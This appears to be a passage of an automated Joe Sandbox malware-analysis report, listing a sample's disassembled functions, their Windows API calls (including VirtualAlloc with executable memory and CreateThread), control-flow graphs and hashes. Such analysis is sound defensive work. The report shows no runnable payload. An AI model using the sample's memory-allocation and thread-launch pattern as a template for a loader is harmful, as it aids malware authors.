                                                              • Opcode ID: 2fb5efe4ca97d4550a9c81ba84a6d2a4b2fb7766237eff7812775d5299bb8548
                                                              • Instruction ID: bb433d556d7f9cadb342e431d1686579823b1049c3d27b53721be146d26e290c
                                                              • Opcode Fuzzy Hash: 2fb5efe4ca97d4550a9c81ba84a6d2a4b2fb7766237eff7812775d5299bb8548
                                                              • Instruction Fuzzy Hash: 0021E7B1A04211EBDF22BB64AC85ADA375ADB43774F250211E917A7790D731EE01CEE2
                                                              Function 006A580B Relevance: 4.6, APIs: 3, Instructions: 51threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              • CreateThread.KERNELBASE(00000000,?,Function_000156AF,00000000,?,00000000), ref: 006A5854
                                                              • GetLastError.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,00696B38,?,00000000,?,?,?), ref: 006A5860
                                                              • __dosmaperr.LIBCMT ref: 006A5867
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: CreateErrorLastThread__dosmaperr
                                                              • String ID:
                                                              • API String ID: 2744730728-0
                                                              • Opcode ID: 91684b6e36cf172822eedaa0427e52fac15a145ae1ccfe14033cceae89892d2e
                                                              • Instruction ID: 1af2c7d7638acd8e865a380d9924d9034eea92f0ecb58c2267e27a2415ba694e
                                                              • Opcode Fuzzy Hash: 91684b6e36cf172822eedaa0427e52fac15a145ae1ccfe14033cceae89892d2e
                                                              • Instruction Fuzzy Hash: 97018C72501629AFDF15FFA0DC06AEE7BA6EF063A0F004158F80296250EB35CE50DF90
                                                              Function 006996F8 Relevance: 4.5, APIs: 3, Instructions: 33threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 64 6996f8-69970d WaitForSingleObjectEx 65 69970f-699714 64->65 66 699741-699743 64->66 68 69972c-69973f FindCloseChangeNotification 65->68 69 699716-699725 GetExitCodeThread 65->69 67 699744-699746 66->67 68->67 69->66 70 699727-69972a 69->70 70->68
                                                              APIs
                                                              • WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,00000000,?,?,006982D3,00000000,?,00000000,?,00000000,006932AB), ref: 00699704
                                                              • GetExitCodeThread.KERNEL32(00000000,006932AB,?,?,006982D3,00000000,?,00000000,?,00000000,006932AB), ref: 0069971D
                                                              • FindCloseChangeNotification.KERNELBASE(00000000,?,?,006982D3,00000000,?,00000000,?,00000000,006932AB), ref: 0069972F
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ChangeCloseCodeExitFindNotificationObjectSingleThreadWait
                                                              • String ID:
                                                              • API String ID: 3816883391-0
                                                              • Opcode ID: 46825a7a664dce61fc5b8318e6c9fa484b1a683f2fb7c8ab2b2971b59c8d1b2f
                                                              • Instruction ID: 2c8a72202d695370621b5c58dfb37bb3775d4263b122431075f98cb83c8165fe
                                                              • Opcode Fuzzy Hash: 46825a7a664dce61fc5b8318e6c9fa484b1a683f2fb7c8ab2b2971b59c8d1b2f
                                                              • Instruction Fuzzy Hash: F0F08272514114EBDF105FB8DC05B993BAAEF01770F240314F925DE2E0D771DE819AA0
                                                              Function 006A5764 Relevance: 4.5, APIs: 3, Instructions: 30threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 71 6a5764-6a5771 call 6ab4a1 74 6a5773-6a577b 71->74 75 6a57b1-6a57b4 ExitThread 71->75 74->75 76 6a577d-6a5781 74->76 77 6a5788-6a578e 76->77 78 6a5783 call 6ad822 76->78 80 6a579b-6a57a1 77->80 81 6a5790-6a5792 77->81 78->77 80->75 82 6a57a3-6a57a5 80->82 81->80 83 6a5794-6a5795 CloseHandle 81->83 82->75 84 6a57a7-6a57ab FreeLibraryAndExitThread 82->84 83->80 84->75
                                                              APIs
                                                                • Part of subcall function 006AB4A1: GetLastError.KERNEL32(00000000,?,006A6483,006ACB6E,?,?,006AB39D,00000001,00000364,?,00000005,000000FF,?,006A56D4,006C77F0,0000000C), ref: 006AB4A5
                                                                • Part of subcall function 006AB4A1: SetLastError.KERNEL32(00000000), ref: 006AB547
                                                              • CloseHandle.KERNEL32(?,?,?,006A589B,?,?,006A570D,00000000), ref: 006A5795
                                                              • FreeLibraryAndExitThread.KERNELBASE(?,?,?,?,006A589B,?,?,006A570D,00000000), ref: 006A57AB
                                                              • ExitThread.KERNEL32 ref: 006A57B4
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ErrorExitLastThread$CloseFreeHandleLibrary
                                                              • String ID:
                                                              • API String ID: 1991824761-0
                                                              • Opcode ID: 4d8a5ad90d512249ff418309a2f993afa0c6351efe36b35c64210cadef243196
                                                              • Instruction ID: 08ca08a51865d36d1e7f702e7239c52e98cbc2df46b26f8972236d3d1e771dd0
                                                              • Opcode Fuzzy Hash: 4d8a5ad90d512249ff418309a2f993afa0c6351efe36b35c64210cadef243196
                                                              • Instruction Fuzzy Hash: 55F01971505A01EBCB21BB75C848A96369BAF02374F194B14F86BE73A1D731DD818EA4
                                                              Function 006A8A18 Relevance: 4.5, APIs: 3, Instructions: 15COMMONLIBRARYCODE
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              • GetCurrentProcess.KERNEL32(00000002,?,006A8A12,006A1F66,006A1F66,?,00000002,D6EB77FD,006A1F66,00000002), ref: 006A8A29
                                                              • TerminateProcess.KERNEL32(00000000,?,006A8A12,006A1F66,006A1F66,?,00000002,D6EB77FD,006A1F66,00000002), ref: 006A8A30
                                                              • ExitProcess.KERNEL32 ref: 006A8A42
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: Process$CurrentExitTerminate
                                                              • String ID:
                                                              • API String ID: 1703294689-0
                                                              • Opcode ID: 90bf6635a178aa8ab4e49a4e1d7781f0db611499beb62f77a9892687f50f2996
                                                              • Instruction ID: f99dd6edb0bf9175f7fd1c914eaa23ed9d19c772236bf4450753c662a345d86a
                                                              • Opcode Fuzzy Hash: 90bf6635a178aa8ab4e49a4e1d7781f0db611499beb62f77a9892687f50f2996
                                                              • Instruction Fuzzy Hash: 77D09272000108EFCF91BFA0DD0D9897F2BEF453A1B055116BA095B132DF329ED29E95
                                                              Function 006B0930 Relevance: 3.2, APIs: 2, Instructions: 191fileCOMMONLIBRARYCODE
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 111 6b0930-6b094f 112 6b0b29 111->112 113 6b0955-6b0957 111->113 116 6b0b2b-6b0b2f 112->116 114 6b0959-6b0978 call 6a1bd2 113->114 115 6b0983-6b09a9 113->115 122 6b097b-6b097e 114->122 118 6b09ab-6b09ad 115->118 119 6b09af-6b09b5 115->119 118->119 121 6b09b7-6b09c1 118->121 119->114 119->121 123 6b09c3-6b09ce call 6b2090 121->123 124 6b09d1-6b09dc call 6b04b4 121->124 122->116 123->124 129 6b0a1e-6b0a30 124->129 130 6b09de-6b09e3 124->130 133 6b0a32-6b0a38 129->133 134 6b0a81-6b0aa1 WriteFile 129->134 131 6b0a08-6b0a1c call 6b007a 130->131 132 6b09e5-6b09e9 130->132 154 6b0a01-6b0a03 131->154 135 6b09ef-6b09fe call 6b044c 132->135 136 6b0af1-6b0b03 132->136 140 6b0a3a-6b0a3d 133->140 141 6b0a6f-6b0a7a call 6b0532 133->141 138 6b0aac 134->138 139 6b0aa3-6b0aa9 GetLastError 134->139 135->154 144 6b0b0d-6b0b1f 136->144 145 6b0b05-6b0b0b 136->145 149 6b0aaf-6b0aba 138->149 139->138 142 6b0a3f-6b0a42 140->142 143 6b0a5d-6b0a6d call 6b06f6 140->143 153 6b0a7f 141->153 142->136 150 6b0a48-6b0a53 call 6b060d 142->150 159 6b0a58-6b0a5b 143->159 144->122 145->112 145->144 155 6b0abc-6b0ac1 149->155 156 6b0b24-6b0b27 149->156 150->159 153->159 154->149 160 6b0aef 155->160 161 6b0ac3-6b0ac8 155->161 156->116 159->154 160->136 162 6b0aca-6b0adc 161->162 163 6b0ae1-6b0aea call 6a6447 161->163 162->122 163->122
                                                              APIs
                                                                • Part of subcall function 006B007A: GetConsoleOutputCP.KERNEL32(D6EB77FD,00000000,00000000,00000000), ref: 006B00DD
                                                              • WriteFile.KERNEL32(?,00000000,?,00000000,00000000,?,00000000,00000000,?,?,00000000,?,?,00000000,?,00000000), ref: 006B0A99
                                                              • GetLastError.KERNEL32(?,00000000,?,?,00000000,?,00000000,?), ref: 006B0AA3
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ConsoleErrorFileLastOutputWrite
                                                              • String ID:
                                                              • API String ID: 2915228174-0
                                                              • Opcode ID: 55c9c1e93981c54945ed6695bda2aba42b0c296502367a6fb9a9a55742d7e885
                                                              • Instruction ID: 5561ad736afedda6a23a7f8d35d81b8ade60364ccdff8ecb646bcea1b6dfc7f9
                                                              • Opcode Fuzzy Hash: 55c9c1e93981c54945ed6695bda2aba42b0c296502367a6fb9a9a55742d7e885
                                                              • Instruction Fuzzy Hash: DD61A4F1D04249AEFF11DFA8C884AEFBFBAAF09314F144589E904A7252D771D985CB60
                                                              Function 006914FB Relevance: 3.1, APIs: 2, Instructions: 134COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 166 6914fb-69152e call 69d4a2 call 6a55c0 171 691530 166->171 172 691546-691551 166->172 174 691540-691544 171->174 175 691532-691534 171->175 173 691554-691564 call 693902 172->173 180 691570-691584 173->180 181 691566-69156b 173->181 174->173 175->172 177 691536-691538 175->177 177->172 179 69153a 177->179 179->174 182 69153c-69153e 179->182 184 6915c2-6915d2 call 69b7c2 180->184 185 691586 180->185 183 691675-69169f call 696b97 call 693cc7 call 69d416 181->183 182->172 182->174 189 6915d5-6915d8 184->189 186 691589-69158b 185->186 190 69158d 186->190 191 6915c0 186->191 193 6915da-6915dc 189->193 194 69161f-691624 189->194 195 69158f-691591 190->195 196 691593-6915aa call 698684 190->196 191->184 193->194 198 6915de 193->198 200 691627-691638 194->200 195->191 195->196 196->194 207 6915ac-6915be 196->207 202 6915e1-6915e3 198->202 200->183 205 691618-69161d 202->205 206 6915e5 202->206 205->200 208 6915eb-691602 call 698684 206->208 209 6915e7-6915e9 206->209 207->186 208->194 212 691604-691616 208->212 209->205 209->208 212->202
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3_catch_strlen
                                                              • String ID:
                                                              • API String ID: 3133806014-0
                                                              • Opcode ID: 06ad4bf6e214572a1ae60c0649b7964ba025b3653117176e2fd4f63014880584
                                                              • Instruction ID: 1fd71324850aba656a1044a93ece656937e56829112a8be16fe6ffb29c11c3a9
                                                              • Opcode Fuzzy Hash: 06ad4bf6e214572a1ae60c0649b7964ba025b3653117176e2fd4f63014880584
                                                              • Instruction Fuzzy Hash: 25515EB1E005158FCF10DF68C9809ACB7FBAB8A324B3A425AE925EF791D6319D41CB54
                                                              Function 0069C375 Relevance: 3.1, APIs: 2, Instructions: 116COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 214 69c375-69c395 215 69c3a0-69c3a7 214->215 216 69c397-69c39e call 69c35b 214->216 218 69c3c9-69c3cd 215->218 219 69c3a9-69c3b3 215->219 224 69c3f5-69c403 call 69d408 216->224 222 69c3cf-69c3de call 69bfff 218->222 223 69c3f2 218->223 219->218 221 69c3b5-69c3c7 219->221 221->224 229 69c3e0-69c3e4 call 69baef 222->229 230 69c406-69c43b 222->230 223->224 232 69c3e9-69c3ed 229->232 236 69c43d-69c440 230->236 237 69c461-69c469 230->237 232->223 234 69c3ef 232->234 234->223 236->237 240 69c442-69c446 236->240 238 69c46b-69c47c call 6a7436 237->238 239 69c482-69c48c 237->239 238->223 238->239 239->223 242 69c492-69c495 239->242 240->223 243 69c448-69c457 call 69baef 240->243 242->224 243->223 247 69c459-69c45f 243->247 247->223
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: Fputc
                                                              • String ID:
                                                              • API String ID: 3078413507-0
                                                              • Opcode ID: c444f809e879e338a00efb8c71f4419f627f06a5f26e5e31263a18179eb9c4fd
                                                              • Instruction ID: a2e2e431e61e541b75d5b2050cae64427f779aa990fe3d31275613acdd5d36b7
                                                              • Opcode Fuzzy Hash: c444f809e879e338a00efb8c71f4419f627f06a5f26e5e31263a18179eb9c4fd
                                                              • Instruction Fuzzy Hash: D9415B32A0021AEFDF14DF69C5808EEB7BEFF09320B54846AE441A7A41DB31ED45DB90
                                                              Function 006B0532 Relevance: 3.1, APIs: 2, Instructions: 80fileCOMMONLIBRARYCODE
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 248 6b0532-6b0587 call 69dff0 251 6b0589 248->251 252 6b05fc-6b060c call 69d408 248->252 254 6b058f 251->254 256 6b0595-6b0597 254->256 257 6b0599-6b059e 256->257 258 6b05b1-6b05d6 WriteFile 256->258 259 6b05a0-6b05a6 257->259 260 6b05a7-6b05af 257->260 261 6b05d8-6b05e3 258->261 262 6b05f4-6b05fa GetLastError 258->262 259->260 260->256 260->258 261->252 263 6b05e5-6b05f0 261->263 262->252 263->254 264 6b05f2 263->264 264->252
                                                              APIs
                                                              • WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,00000000,?,006B0A7F,?,00000000,00000000,?,?,00000000), ref: 006B05CE
                                                              • GetLastError.KERNEL32(?,006B0A7F,?,00000000,00000000,?,?,00000000,00000000,?,?,00000000,?,?,00000000,?), ref: 006B05F4
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ErrorFileLastWrite
                                                              • String ID:
                                                              • API String ID: 442123175-0
                                                              • Opcode ID: 74b79d8adcb580c3383abe0e1d2e581a661951035612d198cf538f5ad65c66b6
                                                              • Instruction ID: f697f74087e7321503550eed0af0dc1a5d8bf29c8cb825015e5ef2c119109219
                                                              • Opcode Fuzzy Hash: 74b79d8adcb580c3383abe0e1d2e581a661951035612d198cf538f5ad65c66b6
                                                              • Instruction Fuzzy Hash: DC21A371A002199FDF25CF19CE809EABBBAEB4C301F1441A9E906D7211D630EE86CF64
                                                              Function 006ADA7D Relevance: 3.1, APIs: 2, Instructions: 65COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 265 6ada7d-6ada82 266 6ada84-6ada9c 265->266 267 6adaaa-6adab3 266->267 268 6ada9e-6adaa2 266->268 269 6adac5 267->269 270 6adab5-6adab8 267->270 268->267 271 6adaa4-6adaa8 268->271 274 6adac7-6adad4 GetStdHandle 269->274 272 6adaba-6adabf 270->272 273 6adac1-6adac3 270->273 275 6adb1f-6adb23 271->275 272->274 273->274 276 6adb01-6adb13 274->276 277 6adad6-6adad8 274->277 275->266 278 6adb29-6adb2c 275->278 276->275 280 6adb15-6adb18 276->280 277->276 279 6adada-6adae3 GetFileType 277->279 279->276 281 6adae5-6adaee 279->281 280->275 282 6adaf0-6adaf4 281->282 283 6adaf6-6adaf9 281->283 282->275 283->275 284 6adafb-6adaff 283->284 284->275
                                                              APIs
                                                              • GetStdHandle.KERNEL32(000000F6), ref: 006ADAC9
                                                              • GetFileType.KERNELBASE(00000000), ref: 006ADADB
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: FileHandleType
                                                              • String ID:
                                                              • API String ID: 3000768030-0
                                                              • Opcode ID: bf03ee3d49709c2bee0798ce5af48a416c1cc8083b37e338f62e96916c7aeab9
                                                              • Instruction ID: fd5a185fba11094ca43cc48db25e5b6d6c1595e24415817aa66ef02735f18686
                                                              • Opcode Fuzzy Hash: bf03ee3d49709c2bee0798ce5af48a416c1cc8083b37e338f62e96916c7aeab9
                                                              • Instruction Fuzzy Hash: C3119A722087414AD7306E3DCC886627A97A757370B390719E6B7C6EF1C270DD86DA61
                                                              Function 006986F5 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 63memoryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                                • Part of subcall function 00693136: _strlen.LIBCMT ref: 0069314E
                                                              • VirtualAlloc.KERNELBASE(00000000,000004AC,00001000,00000040,0000000006:1@0000000005:@), ref: 0069873A
                                                              Strings
                                                              • 0000000006:1@0000000005:@, xrefs: 00698707
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: AllocVirtual_strlen
                                                              • String ID: 0000000006:1@0000000005:@
                                                              • API String ID: 3554592677-176982251
                                                              • Opcode ID: e96e8dd85acd8663e4a079e577d9448d06273d2bb53088e0ba7bfd3c1e9c76ad
                                                              • Instruction ID: 1d9687966f069271f03d4a240ba1d8ea462f15e5b542bcdafb2ded04f380ea53
                                                              • Opcode Fuzzy Hash: e96e8dd85acd8663e4a079e577d9448d06273d2bb53088e0ba7bfd3c1e9c76ad
                                                              • Instruction Fuzzy Hash: 3711C131A00204ABDF54FBA5DC52FEE7B7EDF89760F14402DF001A76C1DE289A06C669
                                                              Function 006A56AF Relevance: 3.0, APIs: 2, Instructions: 38threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              • GetLastError.KERNEL32(006C77F0,0000000C), ref: 006A56C2
                                                              • ExitThread.KERNEL32 ref: 006A56C9
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ErrorExitLastThread
                                                              • String ID:
                                                              • API String ID: 1611280651-0
                                                              • Opcode ID: 7c58676adf29d640e93c9ca9123fbf1d28c5b8ca586d561212913843b39f9d48
                                                              • Instruction ID: 54adf95bb11e25911b688291cc99ffb895949aa5c01392e17f7b07dc111a7cc9
                                                              • Opcode Fuzzy Hash: 7c58676adf29d640e93c9ca9123fbf1d28c5b8ca586d561212913843b39f9d48
                                                              • Instruction Fuzzy Hash: 68F0AF70940604AFDB44BBB0C80AA6E3B76EF06310F10424DF016972A2CB756E40CFA5
                                                              Function 006982AF Relevance: 3.0, APIs: 2, Instructions: 28threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 329 6982af-6982b8 330 6982ba-6982c2 GetCurrentThreadId 329->330 331 6982e6 329->331 332 6982c8-6982ce call 6996f8 330->332 333 6982c4-6982c6 330->333 334 6982e8-6982ed call 699b67 331->334 337 6982d3-6982d8 332->337 333->334 339 6982da-6982dc 337->339 340 6982de-6982e5 337->340 339->334
                                                              APIs
                                                              • GetCurrentThreadId.KERNEL32 ref: 006982BA
                                                              • std::_Throw_Cpp_error.LIBCPMT ref: 006982E8
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: Cpp_errorCurrentThreadThrow_std::_
                                                              • String ID:
                                                              • API String ID: 350343453-0
                                                              • Opcode ID: fd1357e52a5e6188e71bc9d518b94213de1583fbe682ce0a4a4d257269a8a402
                                                              • Instruction ID: 943c3ec58b5bf3474c85d814033622f7a2b27ed579db61872a86b33d439774ff
                                                              • Opcode Fuzzy Hash: fd1357e52a5e6188e71bc9d518b94213de1583fbe682ce0a4a4d257269a8a402
                                                              • Instruction Fuzzy Hash: 2BE06831100B009EEF301B29AD02BA3B6EFEFC2B11F00843FA59543D42D9708440DBA9
                                                              Function 006988EE Relevance: 3.0, APIs: 2, Instructions: 21COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_catch.LIBCMT ref: 006988F5
                                                              • FreeConsole.KERNELBASE(00000010), ref: 006988FA
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ConsoleFreeH_prolog3_catch
                                                              • String ID:
                                                              • API String ID: 2618692183-0
                                                              • Opcode ID: 741efeb3a60bdce03428d0149066b7c82fce13ce4f90abfeaa24c77fcb26da67
                                                              • Instruction ID: e7e123256d6e5b573488095619bffbe763c4f19568dd07a700aa874f20c1465c
                                                              • Opcode Fuzzy Hash: 741efeb3a60bdce03428d0149066b7c82fce13ce4f90abfeaa24c77fcb26da67
                                                              • Instruction Fuzzy Hash: D4E08C3470030146EFA077B8481A3AD24DF6F01764F20163C6411DBAD2DEB9DA815619
                                                              Function 006983C2 Relevance: 3.0, APIs: 2, Instructions: 12synchronizationthreadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateThread.KERNELBASE(00000000,00000000,Function_000086F5,00000000,00000000,00000000), ref: 006983CE
                                                              • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 006983D7
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
